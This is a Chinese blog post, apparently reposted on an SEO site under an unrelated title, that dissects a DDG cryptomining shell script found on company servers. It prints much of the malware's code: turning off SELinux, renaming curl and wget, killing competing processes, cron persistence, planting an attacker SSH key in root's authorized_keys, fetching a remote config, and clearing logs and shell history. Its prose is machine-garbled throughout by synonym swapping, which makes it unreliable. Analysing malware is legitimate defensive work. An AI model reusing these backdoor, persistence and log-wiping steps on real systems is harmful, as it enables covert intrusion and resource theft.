自动发货网站搭建:实力解剖一枚挖矿脚本,风流操作亮瞎双眼
本文摘要: 原创:小姐姐味道(微信大众号ID:xjjdog),欢迎分享,转载请保留出处。公司有几台机器,最近cpu一直在疯转,就像是吃了春药,一直在发热。因为机器真实是太多,有这么几台安全性防护没有到位,就一直躺在角落里张狂运转。直到



原创:小姐姐味道(微信大众号ID:xjjdog),欢迎分享,转载请保留出处。

公司有几台机器,最近cpu一直在疯转,就像是吃了春药,一直在发热。因为机器真实是太多,有这么几台安全性防护没有到位,就一直躺在角落里张狂运转。

直到统一的监控脚本接收了这几台机器,异常状况才得以浮出水面。终究发现了多个奇奇怪怪的进程,发现是一个挖矿脚本。下载下来学习了一下,发现脚本的编写者,有着较高的水平。虽然在他人机器进行挖矿行为是不品德的,但掩盖不了脚本编写者的风流操作。

挖矿,是核算机技能界最让人利诱的行为之一,但它赚钱。据悉,这段脚本名叫DDG,现已挖取了价值一千多万人民币的虚拟币钱银。

本着学习的意图,我略微分析了一下这个神奇的脚本,也算是吸尽它的精华,为我所用。这事我都没敢通知老板,因为说了他也不懂,反惹事端。不过和我们交流一下仍是可以的,因为你们懂啊。

code 1
#!/bin/sh

脚本的第一行,看起来是一行注释,但其实其实不是。它规则了接下来的脚本,将要选用哪个SHELL执行。像我们往常用的bash、zsh等,属于sh的超集,这个脚本使用sh作为执行的shell,具有更好的可移植性。

code 2
setenforce 0 2>dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

setenforce是Linux的selinux防火墙配置命令,执行setenforce 0 表明关闭selinux防火墙。2代表的是规范过错(stderr)的意思。所今后面,使用重定向符,将命令的过错输出定向到/dev/null设备中。这个设备是一个虚拟设备,意思是什么都不干。十分合适闹哄哄的干坏事。

code 3
sync && echo 3 >/proc/sys/vm/drop_caches

脚本交心的帮我们开释了一些内存资源,以便获取更多的资源进行挖矿。

尽人皆知,Linux体系会跟着长时间的运转,会发生很多缓存,整理方式就是写一个数字到drop_caches文件里,这个数字通常为3。sync命令将所有未写的体系缓冲区写到磁盘中,执行之后就能够定心的开释缓存了。

code 4
crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/sysupdatesrtdir="/etc/sysupdates"bbdir="/usr/bin/curl"bbdira="/usr/bin/cur"ccdir="/usr/bin/wget"ccdira="/usr/bin/wge"mv /usr/bin/wget /usr/bin/getmv /usr/bin/xget /usr/bin/getmv /usr/bin/get /usr/bin/wgemv /usr/bin/curl /usr/bin/urlmv /usr/bin/xurl /usr/bin/urlmv /usr/bin/url /usr/bin/cur

没错,上面这些语句就是完成了一些普通的操作。值得留意的是,它把我们的一些常用命令,使用mv命令给重名了。这在执行命令的时分,就会显得分红功用的蛋疼。这脚本现已更改了核算机的一些文件,属于违法的领域了。

脚本为了复用一些功用,笼统出了很多的函数。我们直接跳到main函数的执行,然后看一下这个过程。

code 5

首要是kill_miner_proc函数。代码很长,就不悉数贴出来了。
kill_miner_proc(){    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9  ...    pkill -f biosetjenkins    pkill -f Loopback    ...    crontab -r    rm -rf /var/spool/cron/*

挖矿领域是一个相爱相杀的领域。这个方法首要使用ps、grep、kill一套组合,干掉了同行的挖矿脚本,然后停掉了同行的cron脚本,黑吃黑的感觉。

在这段脚本里,使用了pkill命令。这个命令会终止进程,并按终端号踢出用户,比较暴力。

code 6

接下来执行的是kill_sus_proc函数。
ps axf -o "pid"|while read prociddo...done

ps加上o参数,可以指定要输出的列,在这里只输出的进程的pid,然后使用read函数,对procid进行遍历操作。

code 7
ls -l /proc/$procid/exe | grep /tmpif [ $? -ne 1 ]then...fi

上面就是遍历操作过程了,我们可以看到if语句的语法。其间$?指的是上一个命令的退出状态。0表明没有过错,其他任何值标明有过错。-ne是不等于的意思,意思就是可以匹配到tmp这个字符串。

code 8
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read prociddo...done

呵呵,上面又来了一次循环遍历。不过这次针对的方针,是cpu使用超过40%的进程。读过xjjdog对awk分析的同学,对这个命令应该十分的熟悉。这就有点狠了:影响我挖矿的进程,都得死!

相煎何太急。

code 9

再接下来,脚本针对不同的用户属性,进行了不同的操作。

首要是root用户。通过判断是否存在$rtdir文件,来确定是否是root权限。
chattr -i /etc/sysupdate*chattr -i /etc/config.json*chattr -i /etc/update.sh*chattr -i /root/.ssh/authorized_keys*chattr -i /etc/networkservice

使用chattr命令,把一些重要的文件,搞成不能任意改动的只读属性,也是够损的。然后,操作cron程序,把脚本的更新效劳加入到定时中。

就是下面这段脚本。

code 10
if [ ! -f "/usr/bin/crontab" ]then    echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}else    [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -fi

留意[[ $cont =~ "update.sh" ]]这以小段代码,怪异的很。[[ ]]是shell中内置的一个命令,支撑字符串的模式匹配。使用=~的时分,乃至支撑shell的正则表达式,强壮的怒不可遏。它的输出成果是一个bool类型,所以可以使用||进行拼接。

然后面的单小括号 (),是的是一个命令组,括号中多个命令之间用分号离隔,终究一个命令可以没有分号;和`cmd`的效果根本是一样的。

code 11

搞完了定时使命,就要配置ssh主动登录了,通过把公钥追加到信赖列表中就能够。
chmod 700 /root/.ssh/echo >> /root/.ssh/authorized_keyschmod 600 root/.ssh/authorized_keysecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/                                                       oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+                                                                                                 4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+                  Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys

code 12

说曹操曹操就到,下面的脚本就使用了``进行操作。
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`if [ "$filesize_config" -ne "$config_size" ]then    pkill -f sysupdate    rm /etc/config.json    downloads $config_url /etc/config.json $config_url_backupelse    echo "no need download"fi

通过一系列骚操作,获取到配置文件的巨细,假如判断文件巨细不一致,那么就从头下载一个。这就用到了downloads函数。

shell中的函数,看起来比较怪异,后边的参数传递,就像是脚本传递一样,传送给函数。

code 13
downloads $config_url /etc/config.json $config_url_backup

这句话,就传递了三个参数。

当然,文件要从悠远的效劳器上下载。域名是.de结束的,证明是个德国的域名,其他的我们一窍不通。
downloads(){    if [ -f "/usr/bin/curl" ]    then    echo $1,$2        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`        if [ "$http_code" -eq "200" ]        then            curl --connect-timeout 10 --retry 100 $1 > $2        elif [ "$http_code" -eq "405" ]        then            curl --connect-timeout 10 --retry 100 $1 > $2        else            curl --connect-timeout 10 --retry 100 $3 > $2        fi    elif [ -f "/usr/bin/cur" ]    then        http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`        if [ "$http_code" -eq "200" ]        then            cur --connect-timeout 10 --retry 100 $1 > $2        elif [ "$http_code" -eq "405" ]        then            cur --connect-timeout 10 --retry 100 $1 > $2        else            cur --connect-timeout 10 --retry 100 $3 > $2fi    elif [ -f "/usr/bin/wget" ]    then        wget --timeout=10 --tries=100 -O $2 $1        if [ $? -ne 0 ]    then        wget --timeout=10 --tries=100 -O $2 $3        fi    elif [ -f "/usr/bin/wge" ]    then        wge --timeout=10 --tries=100 -O $2 $1        if [ $? -eq 0 ]        then            wge --timeout=10 --tries=100 -O $2 $3        fi    fi}

我认为,这段代码作者写的又臭又长,完全没有体现出自己应有的水平。应该是赶工期,没有想好代码的复用,才会写的这么有失水准。

我们上面说到,脚本改了几个命令的名字,其间就有curl。这个命令是如此的强壮,以至于脚本的作者都不由得加了不少参数。
  • -I 是用来测试http头信息
  • -m 设置最大传输时间
  • -o 指定坚持的文件名。这里是/dev/null,呃呃呃
  • -s 静默模式。不输出任何东西
  • --connect-timeout 连接超不时间
  • --retry 重试次数,好狠100次

假如没有curl?那就使用替补的wget,套路都是一样的。

code 14

接下来是一系列类似的操作,终究,对iptables一批操作。
iptables -Fiptables -Xiptables -A OUTPUT -p tcp --dport 3333 -j DROPiptables -A OUTPUT -p tcp --dport 5555 -j DROPiptables -A OUTPUT -p tcp --dport 7777 -j DROPiptables -A OUTPUT -p tcp --dport 9999 -j DROPiptables -I INPUT -s 43.245.222.57 -j DROPservice iptables reload

code 15

细心的脚本编写者,还使用命令整理了操作日志。
history -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_history

不露死角,潇洒走开。

可以看到,且不说真实的挖矿程序,仅仅是这个小脚本,作者也下足了功夫。脚本里命令繁复,使用方式多样,缩紧格局优雅,除了有一点啰嗦,没有加密之外,是一个十分好的拿来学习的脚本。

瞧了瞧被控制的机器,我赶忙悄悄的重装了机器。

就当它是一个梦吧。老板问起的时分,什么都没有发生过。

有需要拿到完好脚本的同学。重视xjjdog微信大众号,回复wkjb,即可获取。

作者简介:小姐姐味道 (xjjdog),一个不允许程序员走弯路的大众号。聚焦基础架构和Linux。十年架构,日百亿流量,与你评论高并发世界,给你不一样的味道。我的个人微信xjjdog0,欢迎添加老友,进一步交流。

【免责声明】本文仅代表作者或发布者个人观念,不代表(www.lmnkf.cn)及其所属公司官方发声,对文章观念有疑义请先联络作者或发布者自己修正,若内容触及侵权或违法信息,请先联络发布者或作者删除,若需我们协助请联络平台管理员,Emailcxb5918(本平台不支撑其他投诉反馈渠道,谢谢合作)。若需要学习以上相关常识请到巨推学院观看视频教程,网站地址www.tsllg.cn。

相关内容